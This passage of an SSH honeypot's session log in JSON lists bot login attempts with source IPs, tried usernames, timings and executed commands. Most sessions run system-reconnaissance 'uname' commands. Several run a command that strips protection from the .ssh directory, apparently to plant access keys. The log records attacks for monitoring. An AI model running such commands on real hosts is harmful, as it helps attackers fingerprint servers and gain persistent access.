  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3af850ff-071b-451e-a415-8181f21c3410",
  "name": "thrifty-somber-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 629,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:14:33.206956+00:00",
  "ended_at": "2026-08-26T13:14:38.367060+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bf8541d2-2f43-4266-bef4-cb02768ffb56",
  "name": "ashen-wooded-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50098,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:14:31.630799+00:00",
  "ended_at": "2026-08-26T13:14:32.955032+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70256eb5-c92d-4d24-94d9-b582587fa884",
  "name": "twilight-crimson-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40600,
  "username": "ali",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 491,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:14:27.066663+00:00",
  "ended_at": "2026-08-26T13:14:43.470876+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "8a9c4c3f-2dfc-4d6e-bc35-060ef6b320fc",
  "name": "glacial-ruddy-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 33682,
  "username": "centreon",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:14:12.345110+00:00",
  "ended_at": "2026-08-26T13:14:16.878930+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bcce3a1-43cd-4c3b-a0a4-e5f3f2d368d5",
  "name": "autumn-ancient-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57040,
  "username": "centreon",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:14:06.682592+00:00",
  "ended_at": "2026-08-26T13:14:16.877122+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "505946af-7971-49af-a6e7-8500159ae66b",
  "name": "dewy-breezy-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 436,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:13:41.940147+00:00",
  "ended_at": "2026-08-26T13:13:45.720383+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4543eaaf-d613-4926-ae68-9868f27bba86",
  "name": "pleasant-jagged-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:13:41.212109+00:00",
  "ended_at": "2026-08-26T13:13:44.034850+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e631f14a-d738-4030-930d-42aa0d99eaa3",
  "name": "dutiful-inland-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46672,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:13:24.306713+00:00",
  "ended_at": "2026-08-26T13:13:30.132328+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4b371ba3-ea3b-4da8-a668-f14ad5935944",
  "name": "prairie-idle-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:13:12.288842+00:00",
  "ended_at": "2026-08-26T13:13:15.335955+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7e8bad46-6d92-45ac-a2ff-ef60f87b2321",
  "name": "rapid-honest-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 40970,
  "username": "gg",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:13:11.552477+00:00",
  "ended_at": "2026-08-26T13:13:16.119115+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "125572b4-faa6-4a9a-91e8-ea68ecc31bb7",
  "name": "peaty-lanky-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47422,
  "username": "gg",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:13:08.147218+00:00",
  "ended_at": "2026-08-26T13:13:16.120255+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1655
 },
 {
  "id": "f3b450dd-b379-4128-9e4b-8ca3ef546f8d",
  "name": "plush-wistful-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57012,
  "username": "Caps",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:13:00.058611+00:00",
  "ended_at": "2026-08-26T13:13:06.189093+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63f9f027-c70b-47d0-ad78-f5092e973113",
  "name": "brave-hollow-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42270,
  "username": "Caps",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 684,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:12:53.925774+00:00",
  "ended_at": "2026-08-26T13:13:06.190416+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "88dd2059-7d1a-48ad-b90c-a637db8f1886",
  "name": "marine-mighty-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37304,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:12:28.131609+00:00",
  "ended_at": "2026-08-26T13:12:34.319861+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a9e678ca-0233-46d6-8a1b-a42a9a4e8992",
  "name": "obsidian-tawny-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34450,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:12:18.096314+00:00",
  "ended_at": "2026-08-26T13:12:22.557221+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f478697-0697-4c09-96f0-bb92d24d88ce",
  "name": "fleeting-whispering-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60870,
  "username": "ec2-user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 553,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:12:05.090701+00:00",
  "ended_at": "2026-08-26T13:12:09.539132+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "87729ee9-39fb-4102-85e1-e2d6897e61bc",
  "name": "gleaming-primal-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 389,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:11:53.528453+00:00",
  "ended_at": "2026-08-26T13:11:57.453270+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "08b1ed45-b4fb-4c63-9613-aaea3cbca3b7",
  "name": "murky-wandering-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49888,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1202,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:11:42.028828+00:00",
  "ended_at": "2026-08-26T13:11:47.309219+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "06123f16-d6b7-4e3c-8183-957dabd4ab2a",
  "name": "hazy-quiet-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 496,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:11:35.867024+00:00",
  "ended_at": "2026-08-26T13:11:41.620641+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e826d04e-6034-4bf0-a01b-5f4a48eb1f9f",
  "name": "sunlit-orderly-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39342,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 459,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:11:22.978700+00:00",
  "ended_at": "2026-08-26T13:11:28.777179+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d68a9fb4-5569-47a8-a384-5dffce4837a0",
  "name": "downy-merry-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:11:19.207992+00:00",
  "ended_at": "2026-08-26T13:11:20.701235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08d746d4-5f6f-4ee7-a7d3-ab3efbe690a8",
  "name": "curious-marbled-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49898,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:11:16.153058+00:00",
  "ended_at": "2026-08-26T13:11:17.450656+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5684cadd-2bc0-46b0-87b4-9d98b4aa9331",
  "name": "feathered-crisp-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43866,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:11:05.396774+00:00",
  "ended_at": "2026-08-26T13:11:11.407121+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9956f98a-eeaf-4103-859c-97a2785ede26",
  "name": "sleepy-granite-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57634,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 307,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:10:55.096582+00:00",
  "ended_at": "2026-08-26T13:11:00.730089+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2422be0-4caf-4b0f-bc4a-579c5d12d653",
  "name": "languid-somber-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56454,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 377,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:10:42.467462+00:00",
  "ended_at": "2026-08-26T13:10:47.866137+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "365015f2-8c63-45ab-8527-4ca525161215",
  "name": "nameless-calm-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 39136,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:10:41.488884+00:00",
  "ended_at": "2026-08-26T13:10:46.776201+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e399e408-16e5-44c7-bea8-aa07e0c27a28",
  "name": "ginger-silent-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49616,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 433,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:10:36.721570+00:00",
  "ended_at": "2026-08-26T13:10:46.790122+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "f119ddab-701b-458c-b511-e44485966a77",
  "name": "sandy-sterling-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 42130,
  "username": "skye",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:10:28.263869+00:00",
  "ended_at": "2026-08-26T13:10:28.634000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54fdf170-4b5a-45b1-9c78-62cc080d738b",
  "name": "chilly-tranquil-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36112,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 405,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:10:18.920256+00:00",
  "ended_at": "2026-08-26T13:10:23.882807+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "089d8ad4-60b0-48e5-9075-fa4d04c0340f",
  "name": "rapid-breezy-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57670,
  "username": "default",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:10:08.485293+00:00",
  "ended_at": "2026-08-26T13:10:12.517175+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ad50f25-28bc-4f14-869f-ce6a116bd9e3",
  "name": "plucky-arctic-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54718,
  "username": "default",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 399,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:10:02.820942+00:00",
  "ended_at": "2026-08-26T13:10:12.515844+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "267e7f2a-494d-415c-b91c-10359839d460",
  "name": "dapper-valiant-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43916,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:10:00.972644+00:00",
  "ended_at": "2026-08-26T13:10:04.906099+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a421593f-61c6-4d99-b92b-88720b502799",
  "name": "bitter-gleaming-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57056,
  "username": "agent",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:09:55.586342+00:00",
  "ended_at": "2026-08-26T13:10:01.802623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c44b347-99b6-4cba-a534-0facd8e9005c",
  "name": "crystal-velvet-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39786,
  "username": "agent",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:09:49.730809+00:00",
  "ended_at": "2026-08-26T13:10:01.806037+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "6cadba27-1071-4d06-8d16-2276c8de212d",
  "name": "polar-gilded-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48070,
  "username": "jenkins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 533,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:09:28.326420+00:00",
  "ended_at": "2026-08-26T13:09:32.873666+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "283f1b4b-05ed-4918-bd5e-3892baddb4d4",
  "name": "boreal-ivory-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47094,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 489,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:09:20.131624+00:00",
  "ended_at": "2026-08-26T13:09:24.978420+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "00df6462-da6a-452e-abf4-5663c42eb5b8",
  "name": "wry-patient-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35988,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 388,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:09:07.948095+00:00",
  "ended_at": "2026-08-26T13:09:12.127433+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "585e4bf6-c585-4650-a7c2-9c0ce44f1d11",
  "name": "clever-proud-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37894,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 436,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:08:56.434707+00:00",
  "ended_at": "2026-08-26T13:09:00.539823+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c4d000fa-af0f-4ad8-830c-93b748035c65",
  "name": "hardy-supple-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37028,
  "username": "kingbase",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 598,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:08:37.117541+00:00",
  "ended_at": "2026-08-26T13:08:41.995865+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "38df8a4e-f332-4892-a793-66dae3d31645",
  "name": "shaded-sincere-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 49686,
  "username": "student",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 922,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:08:30.023318+00:00",
  "ended_at": "2026-08-26T13:08:31.647250+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "c9887d24-93d1-4e56-9b6d-48149df9467d",
  "name": "ginger-prickly-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47108,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 710,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:08:26.244070+00:00",
  "ended_at": "2026-08-26T13:08:30.287826+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8c343ddd-fef3-4619-9878-3360feb1940b",
  "name": "bronzed-hushed-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56562,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 482,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:08:15.392708+00:00",
  "ended_at": "2026-08-26T13:08:19.565474+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b2807e37-d15a-4d72-98ff-d1111d42b136",
  "name": "hardy-creaky-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49702,
  "username": "student",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:08:06.709569+00:00",
  "ended_at": "2026-08-26T13:08:08.750867+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15a57ca7-cd0b-4043-92d3-6ec04beba12a",
  "name": "gilded-sleepy-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 49694,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:08:03.034092+00:00",
  "ended_at": "2026-08-26T13:08:04.457238+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "30a5c6eb-4c3b-4b10-920d-38c66dd9da98",
  "name": "gallant-reedy-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44004,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 484,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:08:02.073755+00:00",
  "ended_at": "2026-08-26T13:08:07.230428+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a9c5ace5-3650-488f-addb-c47fb4d38ed4",
  "name": "fabled-craggy-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43600,
  "username": "azureuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:07:47.231399+00:00",
  "ended_at": "2026-08-26T13:07:50.366584+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e9317fc9-a123-44bd-a9a0-84390c407770",
  "name": "deft-vernal-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36742,
  "username": "dolphinscheduler",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 429,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:07:24.920367+00:00",
  "ended_at": "2026-08-26T13:07:28.510810+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2a82abe8-70c2-4c34-bcbe-70fe4abfc621",
  "name": "seaward-vaulted-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46512,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 466,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:07:19.028597+00:00",
  "ended_at": "2026-08-26T13:07:21.754113+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cb939376-d183-493b-8179-169966064506",
  "name": "crimson-drifting-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:07:03.250530+00:00",
  "ended_at": "2026-08-26T13:07:08.890012+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "96744af4-6ed7-41e6-9036-c3070d7eb4a3",
  "name": "early-silent-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44000,
  "username": "bob",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:07:02.761327+00:00",
  "ended_at": "2026-08-26T13:07:09.197893+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
